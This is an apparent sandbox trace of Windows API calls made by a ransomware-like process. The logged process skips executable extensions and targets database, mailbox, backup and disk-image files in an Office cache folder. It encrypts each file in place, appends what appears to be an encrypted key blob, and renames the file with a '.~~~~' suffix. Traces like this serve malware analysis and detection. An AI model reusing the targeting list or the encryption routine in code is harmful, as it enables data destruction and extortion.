	[0076.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.~~~~")) returned 1
	[0076.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4b10 | out: hHeap=0x300000) returned 1
	[0076.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0076.889] GetLastError () returned 0x0
	[0076.889] RtlWakeConditionVariable () returned 0x365f70
	[0076.889] GetCurrentThreadId () returned 0x3a4
	[0076.889] GetCurrentThreadId () returned 0x3a4
	[0076.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa9a0 | out: hHeap=0x300000) returned 1
	[0076.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3a38 | out: hHeap=0x300000) returned 1
	[0076.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.916] lstrlenW (lpString=".scr") returned 4
	[0076.916] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0076.916] lstrlenW (lpString=".cmd") returned 4
	[0076.916] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0076.916] lstrlenW (lpString=".dll") returned 4
	[0076.916] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0076.916] lstrlenW (lpString=".bat") returned 4
	[0076.916] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0076.916] lstrlenW (lpString=".cpl") returned 4
	[0076.916] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0076.917] lstrlenW (lpString=".sys") returned 4
	[0076.917] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0076.917] lstrlenW (lpString=".msc") returned 4
	[0076.917] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0076.917] lstrlenW (lpString=".com") returned 4
	[0076.917] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0076.917] lstrlenW (lpString=".lnk") returned 4
	[0076.917] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0076.917] lstrlenW (lpString=".msp") returned 4
	[0076.921] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0076.921] lstrlenW (lpString=".pif") returned 4
	[0076.921] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0076.921] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.932] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.932] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.932] lstrlenW (lpString=".sqb") returned 4
	[0076.932] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0076.932] lstrlenW (lpString=".ost") returned 4
	[0076.932] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0076.932] lstrlenW (lpString=".txt") returned 4
	[0076.932] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0076.933] lstrlenW (lpString=".mdt") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0076.933] lstrlenW (lpString=".BDB") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0076.933] lstrlenW (lpString=".eql") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0076.933] lstrlenW (lpString=".DBF") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0076.933] lstrlenW (lpString=".EQL") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0076.933] lstrlenW (lpString=".FDB") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0076.933] lstrlenW (lpString=".EDB") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0076.933] lstrlenW (lpString=".DACPAC") returned 7
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0076.933] lstrlenW (lpString=".VHD") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0076.933] lstrlenW (lpString=".DBV") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0076.933] lstrlenW (lpString=".dacpac") returned 7
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0076.933] lstrlenW (lpString=".sdf") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0076.933] lstrlenW (lpString=".accdb") returned 6
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0076.933] lstrlenW (lpString=".DBX") returned 4
	[0076.933] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0076.934] lstrlenW (lpString=".MDT") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0076.934] lstrlenW (lpString=".SQB") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0076.934] lstrlenW (lpString=".vhd") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0076.934] lstrlenW (lpString=".bac") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0076.934] lstrlenW (lpString=".mdf") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0076.934] lstrlenW (lpString=".BAK") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0076.934] lstrlenW (lpString=".BAC") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0076.934] lstrlenW (lpString=".dbs") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0076.934] lstrlenW (lpString=".vhdx") returned 5
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0076.934] lstrlenW (lpString=".NDF") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0076.934] lstrlenW (lpString=".dat") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0076.934] lstrlenW (lpString=".DBS") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0076.934] lstrlenW (lpString=".CKP") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0076.934] lstrlenW (lpString=".edb") returned 4
	[0076.934] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0076.935] lstrlenW (lpString=".PST") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0076.935] lstrlenW (lpString=".dbf") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0076.935] lstrlenW (lpString=".SQL") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0076.935] lstrlenW (lpString=".pst") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0076.935] lstrlenW (lpString=".dbv") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0076.935] lstrlenW (lpString=".SDF") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0076.935] lstrlenW (lpString=".dtxs") returned 5
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0076.935] lstrlenW (lpString=".db3") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0076.935] lstrlenW (lpString=".OST") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0076.935] lstrlenW (lpString=".dbx") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0076.935] lstrlenW (lpString=".DB3") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0076.935] lstrlenW (lpString=".DAT") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0076.935] lstrlenW (lpString=".VHDX") returned 5
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0076.935] lstrlenW (lpString=".ndf") returned 4
	[0076.935] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0076.936] lstrlenW (lpString=".DB") returned 3
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0076.936] lstrlenW (lpString=".sql") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0076.936] lstrlenW (lpString=".MYD") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0076.936] lstrlenW (lpString=".DBT") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0076.936] lstrlenW (lpString=".ACCDB") returned 6
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0076.936] lstrlenW (lpString=".fdb") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0076.936] lstrlenW (lpString=".bak") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0076.936] lstrlenW (lpString=".myd") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0076.936] lstrlenW (lpString=".DTXS") returned 5
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0076.936] lstrlenW (lpString=".ckp") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0076.936] lstrlenW (lpString=".dbt") returned 4
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0076.936] lstrlenW (lpString=".db") returned 3
	[0076.936] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0076.937] lstrlenW (lpString=".TXT") returned 4
	[0076.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0076.937] lstrlenW (lpString=".MDF") returned 4
	[0076.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0076.937] lstrlenW (lpString=".bdb") returned 4
	[0076.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0076.937] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.937] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ac250
	[0076.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.937] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0076.938] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.938] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0076.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.939] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19692889535) returned 1
	[0076.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x97c20150, dwHighDateTime=0x1d60e1e)) 
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac468
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8170
	[0076.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0076.939] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0076.940] GetLastError () returned 0x0
	[0076.940] GetLastError () returned 0x0
	[0076.940] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0076.940] GetLastError () returned 0x0
	[0076.940] GetLastError () returned 0x0
	[0076.941] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x7976, lpOverlapped=0x0) returned 1
	[0076.944] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff868a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.945] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7976, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x7976, lpOverlapped=0x0) returned 1
	[0076.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.945] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.945] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.945] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.945] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.945] CloseHandle (hObject=0x11c) returned 1
	[0076.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4f60
	[0076.946] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0076.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4f60 | out: hHeap=0x300000) returned 1
	[0076.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0076.946] GetLastError () returned 0x0
	[0076.948] RtlWakeConditionVariable () returned 0x365f70
	[0076.948] GetCurrentThreadId () returned 0x3a4
	[0076.948] GetCurrentThreadId () returned 0x3a4
	[0076.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0076.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aaaf0 | out: hHeap=0x300000) returned 1
	[0076.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac4a0 | out: hHeap=0x300000) returned 1
	[0076.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aaaf0
	[0076.948] lstrlenW (lpString=".scr") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".scr") returned 0x0
	[0076.949] lstrlenW (lpString=".cmd") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cmd") returned 0x0
	[0076.949] lstrlenW (lpString=".dll") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dll") returned 0x0
	[0076.949] lstrlenW (lpString=".bat") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bat") returned 0x0
	[0076.949] lstrlenW (lpString=".cpl") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".cpl") returned 0x0
	[0076.949] lstrlenW (lpString=".sys") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sys") returned 0x0
	[0076.949] lstrlenW (lpString=".msc") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msc") returned 0x0
	[0076.949] lstrlenW (lpString=".com") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".com") returned 0x0
	[0076.949] lstrlenW (lpString=".lnk") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".lnk") returned 0x0
	[0076.949] lstrlenW (lpString=".msp") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".msp") returned 0x0
	[0076.949] lstrlenW (lpString=".pif") returned 4
	[0076.949] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pif") returned 0x0
